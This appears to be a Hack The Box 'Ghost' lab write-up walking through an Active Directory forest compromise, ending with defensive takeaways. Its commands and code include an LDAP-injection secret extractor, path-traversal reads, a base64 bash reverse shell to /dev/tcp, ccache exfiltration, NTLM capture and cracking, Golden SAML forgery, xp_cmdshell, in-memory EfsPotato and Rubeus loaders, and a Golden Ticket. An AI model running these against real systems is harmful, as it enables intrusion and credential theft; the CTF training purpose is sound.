root@kali:~$ cat hackthebox/machines/ghost.md
Hack The Box — Ghost
A hands-on Ghost lab journal: LDAP injection, Gitea source review, Linux and Kerberos pivots, Golden SAML, linked MSSQL, in-memory privilege escalation and forest compromise.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Insane
- Operating system
- Windows
- Solved
- 29 Aug 2026
- Published
- 31 August 2026
Authorized-lab notice: This write-up documents a retired Hack The Box target. The commands and credentials belong only to that isolated lab. User and root flag values are intentionally omitted.
About this write-up
This is a reconstruction of my actual solve on 29 August 2026, not a cleaned-up copy of the official walkthrough. The primary source is my Codex session: the commands I ran, the outputs I received, the mistakes I made and the delivery problems that changed the next step.
There is one important exception. After compromising adfs_gmsa$, I consulted the official HTB write-up because the remaining ADFS and cross-domain chain was taking too long. At the final trust-abuse step, I used the krbtgt AES key and domain SID information from the official material instead of independently obtaining them with PowerView and DCSync. I mark that boundary explicitly and show the missing derivation so the path remains reproducible.
Machine information
Ghost begins with LDAP injection and expands into a small enterprise environment: two web applications, Gitea, a Linux container, a domain-joined Linux workstation, ADFS, linked MSSQL servers and two trusted AD domains.
| Item | Value from my session |
|---|---|
| Target | 10.129.51.84 |
| VPN address | 10.10.15.201 |
| Primary domain | ghost.htb |
| Trusted domain | corp.ghost.htb |
| Domain controller | DC01.ghost.htb |
| Linked SQL host | PRIMARY.corp.ghost.htb |
The IP addresses are session-specific. Replace them if HTB assigns different addresses.
Attack path
| Stage | Result |
|---|---|
| LDAP injection | Extracted the gitea_temp_principal secret |
| Gitea review | Found file-read and command-injection source |
| Linux foothold | Root shell inside the intranet container |
| SSH multiplexing | Stole Florence’s Kerberos TGT from LINUX-DEV-WS01 |
| AD DNS update | Captured Justin’s NetNTLMv2 response |
| gMSA read | Compromised adfs_gmsa$ and gained WinRM access |
| Golden SAML | Reached the administrator-only database panel |
| Linked MSSQL | Executed commands on PRIMARY as the SQL service |
| EfsPotato | Became NT AUTHORITY\SYSTEM |
| Golden Ticket | Crossed the forest trust and reached the final flag |
1. Initial enumeration
I started with a full TCP scan:
nmap 10.129.51.84 -T5 -sVC -p-
The useful results were:
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Active Directory LDAP (ghost.htb)
445/tcp open microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2022
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8008/tcp open http nginx / Ghost 5.78
8443/tcp open ssl/http nginx / Ghost Core
49443/tcp open unknown
The certificates disclosed DC01.ghost.htb and core.ghost.htb:
echo '10.129.51.84 ghost.htb dc01.ghost.htb core.ghost.htb' \
| sudo tee -a /etc/hosts
Early false lead
I initially inspected https://core.ghost.htb:8443/. Burp showed a normal ADFS form with UserName, Password and FormsAuthentication; this was not the LDAP injection point.
I returned to the Ghost CMS on port 8008, downloaded its sitemaps and enumerated virtual hosts. This exposed:
intranet.ghost.htb
gitea.ghost.htb
echo '10.129.51.84 intranet.ghost.htb gitea.ghost.htb' \
| sudo tee -a /etc/hosts
http://intranet.ghost.htb:8008/ redirected to /login. The form used ldap-username and ldap-secret, matching the expected attack surface.
2. LDAP wildcard injection
The login was a Next.js server action. I intercepted a normal request and changed only the values of these multipart fields:
1_ldap-username = *
1_ldap-secret = *
My first manual attempt was wrong: I accidentally changed the parameter names to strings such as 1_ldap-username = * while leaving the values as test. Once corrected, the wildcard pair returned:
HTTP/1.1 303 See Other
Set-Cookie: token=Bearer%20...
x-action-redirect: /
That proved the LDAP filter accepted an unescaped wildcard. The wildcard session matched kathryn.holland, and the dashboard disclosed the temporary Gitea account gitea_temp_principal.
Prefix-oracle extraction
The action ID and action key were dynamic, so my extractor first downloaded the login page and parsed the current values. It then tested prefixes such as s*, sz* and szr*, treating a redirect or session cookie as true.
#!/usr/bin/env python3
import html, json, re, string, sys, time
import requests
BASE = "http://intranet.ghost.htb:8008"
USERNAME = "gitea_temp_principal"
page = requests.get(f"{BASE}/login", timeout=10)
page.raise_for_status()
decoded = html.unescape(page.text)
action_id = re.search(r'"id":"([a-f0-9]+)"', decoded).group(1)
action_key = re.search(
r'name="\$ACTION_KEY" value="([^"]+)"', page.text
).group(1)
headers = {
"Next-Action": action_id,
"Accept": "text/x-component",
"Origin": BASE,
"Referer": f"{BASE}/login",
}
def ldap_escape(value):
table = {"\\": r"\5c", "*": r"\2a", "(": r"\28", ")": r"\29"}
return "".join(table.get(char, char) for char in value)
def oracle(secret_filter):
fields = [
("1_$ACTION_REF_1", (None, "")),
("1_$ACTION_1:0", (None, json.dumps(
{"id": action_id, "bound": "$@1"}, separators=(",", ":")
))),
("1_$ACTION_1:1", (None, "[{}]")),
("1_$ACTION_KEY", (None, action_key)),
("1_ldap-username", (None, USERNAME)),
("1_ldap-secret", (None, secret_filter)),
("0", (None, '[{},"$K1"]')),
]
for attempt in range(3):
try:
response = requests.post(
f"{BASE}/login", headers=headers, files=fields,
allow_redirects=False, timeout=15
)
return response.status_code == 303 or "token=" in response.headers.get(
"Set-Cookie", ""
)
except requests.RequestException:
if attempt == 2:
raise
time.sleep(1)
alphabet = string.ascii_lowercase + string.digits + string.ascii_uppercase
recovered = ""
for position in range(1, 129):
for character in alphabet:
candidate = recovered + character
if oracle(ldap_escape(candidate) + "*"):
recovered = candidate
print(f"[+] {position:03d}: {recovered!r}", flush=True)
break
else:
sys.exit(f"[-] No match after {recovered!r}")
if oracle(ldap_escape(recovered)):
print(f"[+] Complete secret: {recovered}")
break
The live run completed after 16 positions:
[+] 001: 's'
[+] 008: 'szrr8kpc'
[+] 016: 'szrr8kpc3z6onlqf'
[+] Complete secret: szrr8kpc3z6onlqf
I logged into Gitea as:
gitea_temp_principal : szrr8kpc3z6onlqf
3. Source review to Linux RCE
The account could access ghost-dev/blog and ghost-dev/intranet:
mkdir -p ~/Documents/HackTheBox/Ghost/repos
cd ~/Documents/HackTheBox/Ghost/repos
git clone http://gitea.ghost.htb:8008/ghost-dev/blog.git
git clone http://gitea.ghost.htb:8008/ghost-dev/intranet.git
rg -n -i 'readFile|readFileSync|createReadStream|path\.join|fs\.' blog intranet
rg -n -i 'Command::new|exec\(|spawn\(|bash|/bin/sh' blog intranet
Arbitrary file read
blog/posts-public.js appended a user-controlled extra value:
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync(
"/var/lib/ghost/extra/" + extra,
{encoding: "utf8"}
);
posts.meta.extra = {[extra]: fileContent};
}
}
Using the live public Content API key, four traversal components escaped the intended directory:
CONTENT_KEY='37395e9e872be56438c83aaca6'
curl -sG 'http://ghost.htb:8008/ghost/api/content/posts/' \
--data-urlencode "key=$CONTENT_KEY" \
--data-urlencode 'limit=1' \
--data-urlencode 'extra=../../../../etc/passwd' \
| jq -r '.meta.extra[]'
The output contained Alpine-style users such as root:/bin/ash and node:/bin/sh. I then read the Ghost process environment:
curl -sG 'http://ghost.htb:8008/ghost/api/content/posts/' \
--data-urlencode "key=$CONTENT_KEY" \
--data-urlencode 'limit=2' \
--data-urlencode 'extra=../../../../proc/self/environ'
The important value was:
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
My tee recon/... commands failed here because I was inside repos/, which had no recon/ directory. The exploit worked; only the local save path was wrong.
Command injection
intranet/backend/src/api/dev/scan.rs constructed:
Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
The leaked key authorized the route, while ; escaped the intended command:
DEV_KEY='!@yqr!X2kxmQ.@Xe'
curl -si -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H "X-DEV-INTRANET-KEY: $DEV_KEY" \
-H 'Content-Type: application/json' \
--data '{"url":"test; id; hostname; pwd"}'
uid=0(root) gid=0(root) groups=0(root)
36b733906694
/app
bash: intranet_url_check: command not found
I encoded a Bash callback to avoid JSON quoting problems:
SHELL_B64=$(printf '%s' \
'bash -i >& /dev/tcp/10.10.15.201/4444 0>&1' | base64 -w0)
curl -s -X POST \
'http://intranet.ghost.htb:8008/api-dev/scan' \
-H "X-DEV-INTRANET-KEY: $DEV_KEY" \
-H 'Content-Type: application/json' \
--data "{\"url\":\"test; echo $SHELL_B64 | base64 -d | bash\"}"
The listener returned root inside /app, but it was container root rather than root on the Linux host.
4. SSH ControlMaster to Kerberos
There was no Docker socket or obvious host mount. The decisive result from ps auxww was:
ssh: /root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22 [mux]
I reused the active socket without knowing Florence’s password:
SOCK=$(find /root/.ssh/controlmaster -type s -print -quit)
ssh -S "$SOCK" -O check \
-l 'florence.ramirez@ghost.htb' dev-workstation
ssh -S "$SOCK" -o ControlMaster=no \
-l 'florence.ramirez@ghost.htb' dev-workstation \
'id; hostname; echo "KRB5CCNAME=$KRB5CCNAME"; klist -A'
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
LINUX-DEV-WS01
KRB5CCNAME=FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
I copied the ccache into the container and sent it to Kali:
# Kali
nc -lvnp 5555 > florence.ccache
# Container
ssh -S "$SOCK" -o ControlMaster=no \
-l 'florence.ramirez@ghost.htb' dev-workstation \
'cat /tmp/krb5cc_50' > /tmp/florence.ccache
bash -c 'cat /tmp/florence.ccache > /dev/tcp/10.10.15.201/5555'
chmod 600 florence.ccache
export KRB5CCNAME="$HOME/Documents/HackTheBox/Ghost/florence.ccache"
klist
netexec smb dc01.ghost.htb --use-kcache
netexec ldap dc01.ghost.htb --use-kcache
Both services authenticated as GHOST.HTB\florence.ramirez from ccache.
5. DNS abuse and Justin’s credentials
An intranet forum message said Justin had a process repeatedly reaching the nonexistent bitbucket.ghost.htb. I attempted to add it with nsupdate -g, but the first run failed:
Cannot find KDC for realm "GHOST.HTB"
The ccache was valid; the local Kerberos libraries did not know the KDC. I created:
# recon/krb5-ghost.conf
[libdefaults]
default_realm = GHOST.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
[realms]
GHOST.HTB = {
kdc = dc01.ghost.htb
admin_server = dc01.ghost.htb
}
[domain_realm]
.ghost.htb = GHOST.HTB
ghost.htb = GHOST.HTB
export KRB5_CONFIG="$HOME/Documents/HackTheBox/Ghost/recon/krb5-ghost.conf"
export KRB5CCNAME="$HOME/Documents/HackTheBox/Ghost/florence.ccache"
kvno DNS/dc01.ghost.htb
sudo responder -I tun0 -v
With Responder running, I repeated the update:
$ nsupdate -g -d
> server dc01.ghost.htb
> zone ghost.htb
> update add bitbucket.ghost.htb. 60 A 10.10.15.201
> send
> quit
The update returned NOERROR. Responder soon captured:
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:...
My first Hashcat run failed with Separator unmatched because the saved line still included the Responder timestamp and label. I cleaned it first:
sed -E 's/^.*NTLMv2 Hash[[:space:]]*:[[:space:]]*//' \
justin.hash | tr -d '\r' > justin.clean.hash
hashcat -m 5600 -a 0 justin.clean.hash \
/usr/share/wordlists/rockyou.txt
hashcat -m 5600 justin.clean.hash --show
GHOST\justin.bradley : Qwertyuiop1234$$
Because $$ expands to a process ID in Bash, I used single quotes:
JUSTIN_PASS='Qwertyuiop1234$$'
netexec smb dc01.ghost.htb -u justin.bradley -p "$JUSTIN_PASS"
6. gMSA compromise
LDAP enumeration found one managed service account:
ldapsearch -x -H ldap://dc01.ghost.htb \
-D 'justin.bradley@ghost.htb' -w "$JUSTIN_PASS" \
-b 'DC=ghost,DC=htb' \
'(objectClass=msDS-GroupManagedServiceAccount)' \
sAMAccountName dNSHostName servicePrincipalName
sAMAccountName: adfs_gmsa$
dNSHostName: federation.ghost.htb
servicePrincipalName: host/federation.ghost.htb
NetExec showed that Justin could read the managed password:
netexec ldap dc01.ghost.htb \
-u justin.bradley -p "$JUSTIN_PASS" --gmsa
Account: adfs_gmsa$
NTLM: 55eea5db159b96bcb1d335d6e5738ea6
PrincipalsAllowedToReadPassword: ['DC01$', 'justin.bradley']
The hash worked for WinRM:
netexec winrm dc01.ghost.htb \
-u 'adfs_gmsa$' -H '55eea5db159b96bcb1d335d6e5738ea6'
WINRM ... ghost.htb\adfs_gmsa$ ... (Pwn3d!)
Inside Evil-WinRM, adfs_gmsa$ was only a member of Remote Management Users, not Administrators. Get-Service adfssrv found no local service, CIM returned Access denied, and direct MSSQL access landed as guest. At this point I consulted the official write-up.
7. ADFSDump and Golden SAML
I compiled ADFSDump on Kali:
cd ~/Documents/HackTheBox/Ghost
git clone https://github.com/mandiant/ADFSDump.git
cd ADFSDump
TERM=dumb xbuild ADFSDump.sln /p:Configuration=Release
The binary was created under ADFSDump/ADFSDump/bin/Release/.
The actual upload problems
My first upload referenced the wrong local path. Supplying a full remote destination then caused Evil-WinRM to create a malformed path below the current directory. Finally, C:\Users\Public was not accessible to this account. The working method was:
Set-Location -LiteralPath 'C:\Users\adfs_gmsa$\Documents'
upload /home/kali/Documents/HackTheBox/Ghost/ADFSDump/ADFSDump/bin/Release/ADFSDump.exe
upload /home/kali/Documents/HackTheBox/Ghost/ADFSDump/ADFSDump/bin/Release/ADFSDump.exe.config
.\ADFSDump.exe | Tee-Object .\adfsdump.txt
ADFSDump returned two DKM private-key candidates, the encrypted token-signing key, issuer information, the relying-party identifier, the ACS endpoint and the claims rules for core.ghost.htb.
The downloaded output was UTF-16LE. My first awk extraction therefore created a zero-byte file. Converting it fixed the problem:
iconv -f UTF-16LE -t UTF-8 adfsdump.txt > adfsdump-utf8.txt
awk '
/Encrypted Token Signing Key Begin/ {capture=1; next}
/Encrypted Token Signing Key End/ {capture=0}
capture
' adfsdump-utf8.txt \
| tr -d '[:space:]' | base64 -d > TKSKey.bin
The sanity checks were:
DKMkey.bin: 32 bytes
TKSKey.bin: 4371 bytes
I generated a SAML response for the administrator identity:
git clone https://github.com/mandiant/ADFSpoof.git
cd ADFSpoof
python3 -m venv .venv
source .venv/bin/activate
pip install cryptography==37.0.4 lxml pyasn1 signxml six
python3 ADFSpoof.py \
-b ../TKSKey.bin ../DKMkey.bin \
-s 'core.ghost.htb' -o golden-saml.txt saml2 \
--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
--nameid 'Administrator@ghost.htb' \
--rpidentifier 'https://core.ghost.htb:8443' \
--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
ADFSpoof wrote raw XML, so I encoded it for the HTTP form:
base64 -w0 golden-saml.txt > golden-saml.b64
python3 -c '
import urllib.parse
data=open("golden-saml.b64").read().strip()
print(urllib.parse.quote(data, safe=""))
' > golden-saml-urlencoded.txt
In Burp, the first request was the credential POST to federation.ghost.htb; I forwarded that unchanged. The request to modify was:
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Replacing only SAMLResponse with the forged value opened the administrator-only Ghost Config Panel.
8. Linked MSSQL and user access
The panel exposed a linked server called PRIMARY:
EXEC sp_linkedservers;
SELECT result FROM OPENQUERY("PRIMARY", 'SELECT SUSER_NAME() AS result');
The linked login could impersonate sa:
SELECT result FROM OPENQUERY(
"PRIMARY",
'SELECT DISTINCT b.name AS result
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = ''IMPERSONATE'';'
);
I enabled xp_cmdshell and confirmed execution:
EXEC (
'EXECUTE AS LOGIN = ''sa'';
EXEC sp_configure ''show advanced options'', 1;
RECONFIGURE;
EXEC sp_configure ''xp_cmdshell'', 1;
RECONFIGURE;'
) AT "PRIMARY";
EXEC (
'EXECUTE AS LOGIN = ''sa'';
EXEC xp_cmdshell ''whoami & hostname'';'
) AT "PRIMARY";
nt service\mssqlserver
PRIMARY
Through xp_cmdshell I could read C:\Users\justin.bradley\Desktop\user.txt. The flag value is omitted.
Why Netcat did not survive
I served Kali’s nc.exe over HTTP. The HTTP server logged GET /nc.exe 200, but dir C:\Windows\Temp\nc.exe immediately returned File Not Found, consistent with Defender quarantining it.
I switched to an encoded PowerShell TCP client executed through xp_cmdshell. The callback worked, but it passed every received chunk to cmd.exe /c. Therefore pwd and ls failed, and cd did not persist between commands. I had to use CMD syntax and absolute paths.
The token contained:
nt service\mssqlserver
PRIMARY
SeImpersonatePrivilege Enabled
9. EfsPotato and staged in-memory delivery
Downloading EfsPotato.cs to C:\Windows\Temp appeared successful, but the source disappeared. I compiled it on Kali. The first mcs run failed with a Mono terminfo exception; TERM=dumb fixed it:
cd ~/Documents/HackTheBox/Ghost/EfsPotato
TERM=dumb mcs \
-sdk:4.5 -platform:anycpu -nowarn:1691,618 \
-out:../EfsPotato.exe EfsPotato.cs
Instead of writing the executable to the target, I loaded it from bytes:
$bytes=(New-Object Net.WebClient).DownloadData(
'http://10.10.15.201:8000/EfsPotato.exe'
)
$asm=[Reflection.Assembly]::Load($bytes)
$cmd='cmd.exe /c whoami > C:\Windows\Temp\system.txt'
$null=$asm.EntryPoint.Invoke($null,(,[string[]]@($cmd,'lsarpc')))
EfsPotato reported Get Token and process created. The MSSQL shell could not read system.txt because of its ACL, so I moved to a SYSTEM callback.
The first callback command was 4,330 characters. The simple TCP shell split the paste into separate chunks; PowerShell received incomplete Base64 and the remaining text was interpreted as another command. The fix was a short bootstrap:
$x=(New-Object Net.WebClient).DownloadString(
'http://10.10.15.201:8000/run-system.txt'
).Trim()
& $env:ComSpec /d /c $x
run-system.txt contained the long in-memory EfsPotato loader and the encoded callback for port 9002. This time the listener returned:
nt authority\system
PRIMARY
This was the most realistic troubleshooting point in the solve: the exploit was correct, but delivery failed because of Defender, command length and TCP chunking.
10. Cross-domain Golden Ticket
Honesty boundary: source-assisted values
I did not independently execute the trust-enumeration and DCSync phase. The complete derivation should be:
IEX (IWR 'http://10.10.15.201:8000/PowerView.ps1' -UseBasicParsing)
Get-DomainTrust
Get-DomainSID ghost.htb
Get-DomainSID corp.ghost.htb
.\mimikatz.exe \
'lsadump::dcsync /user:krbtgt@corp.ghost.htb' \
'exit'
This produces the CORP domain SID, the GHOST domain SID and the AES-256 key for krbtgt@corp.ghost.htb. The final ticket is a CORP administrator TGT with <GHOST_DOMAIN_SID>-519 in ExtraSIDs; RID 519 represents Enterprise Admins in the forest root domain.
In my actual run, I used those SID/AES values from the official write-up and moved directly to Rubeus.
Building and loading Rubeus
The current Rubeus source did not compile cleanly with Mono xbuild. The first failure was C# language version; LangVersion=latest then exposed additional mcs incompatibilities. I eventually used Microsoft’s Roslyn compiler package and produced a 463 KB Rubeus.exe.
I loaded that assembly in memory as SYSTEM:
$bytes=(New-Object Net.WebClient).DownloadData(
'http://10.10.15.201:8000/Rubeus.exe'
)
$asm=[Reflection.Assembly]::Load($bytes)
$args=[string[]]@(
'golden',
'/aes256:<CORP_KRBTGT_AES256>',
'/ldap',
'/user:Administrator',
'/sids:<GHOST_DOMAIN_SID>-519',
'/ptt'
)
$null=$asm.EntryPoint.Invoke($null,(,$args))
To prevent another long-paste failure, a small bootstrap downloaded the full Rubeus loader text. The HTTP server logged both GET /rubeus-golden.txt and GET /Rubeus.exe. Rubeus returned:
[*] Action: Build TGT
[+] Ticket successfully imported!
klist showed Administrator @ CORP.GHOST.HTB in the SYSTEM logon session 0x3e7. The Extra SID allowed access across the trust:
klist
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
type \\dc01.ghost.htb\c$\Users\Administrator\Desktop\root.txt
The listing showed root.txt with a size of 34 bytes. The final flag is omitted.
What was verified versus source-assisted
| Step | Status in my solve |
|---|---|
| LDAP bypass and 16-character extraction | Executed and verified |
| Gitea access and source review | Executed and verified |
| File read, environment leak and command injection | Executed and verified |
| Linux root shell and SSH ControlMaster reuse | Executed and verified |
| Kerberos ccache transfer and AD authentication | Executed and verified |
| DNS update, Responder capture and Hashcat recovery | Executed and verified |
| gMSA read and WinRM access | Executed and verified |
| ADFSDump, ADFSpoof and Golden SAML | Executed after consulting official guidance |
| Linked SQL, user flag access and MSSQL shell | Executed and verified |
| In-memory EfsPotato and SYSTEM callback | Executed and verified |
| PowerView trust enumeration and Mimikatz DCSync | Not executed; official values used |
| In-memory Rubeus and root path access | Executed with source-assisted values |
Lessons learned
- Preserve the evidence that justified every pivot: the
303, container hostname, SSH mux process, Kerberos principal, DNSNOERROR,Pwn3d!, SQL identity and imported ticket were more useful than a bare command list. - Source access beat broad fuzzing. Two
rgsearches exposed the file read and command injection. - A Kerberos tool failure does not always mean the ticket is invalid;
nsupdatefailed because local realm discovery was incomplete. - Responder output needed cleaning before Hashcat could parse it.
- Delivery was part of the attack. Defender removed recognizable files, Evil-WinRM path semantics caused misleading errors, and TCP chunking broke a long encoded command.
- Loading .NET assemblies from bytes avoided writing EfsPotato and Rubeus to disk, but EDR could still detect PowerShell, assembly loading, token impersonation and Kerberos cache activity.
- The final result was forest compromise, not merely local SYSTEM. The bidirectional trust amplified control of
PRIMARYinto access toDC01.
Defensive takeaways
| Weakness | Defensive action |
|---|---|
| LDAP wildcard injection | Escape RFC 4515 metacharacters and use safe query builders |
| Reused secrets | Separate directory and source-control credentials; rotate leaked values |
| Arbitrary file read | Canonicalize paths and enforce an allow-listed base directory |
| Command injection | Avoid bash -c; pass fixed arguments to the child-process API |
| SSH ControlMaster reuse | Limit persistence and protect multiplexing sockets as credentials |
| AD DNS abuse | Restrict record creation and alert on records pointing to VPN/external ranges |
| NTLM capture | Reduce NTLM and monitor authentication to unexpected destinations |
| gMSA exposure | Audit principals allowed to retrieve managed passwords |
| ADFS key compromise | Isolate ADFS identities and rotate compromised signing certificates |
| Linked MSSQL abuse | Remove unnecessary links/impersonation grants and monitor xp_cmdshell |
| Token impersonation | Minimize service privileges and detect named-pipe impersonation |
| Trust abuse | Protect replication rights, monitor DCSync and review SID filtering/trust scope |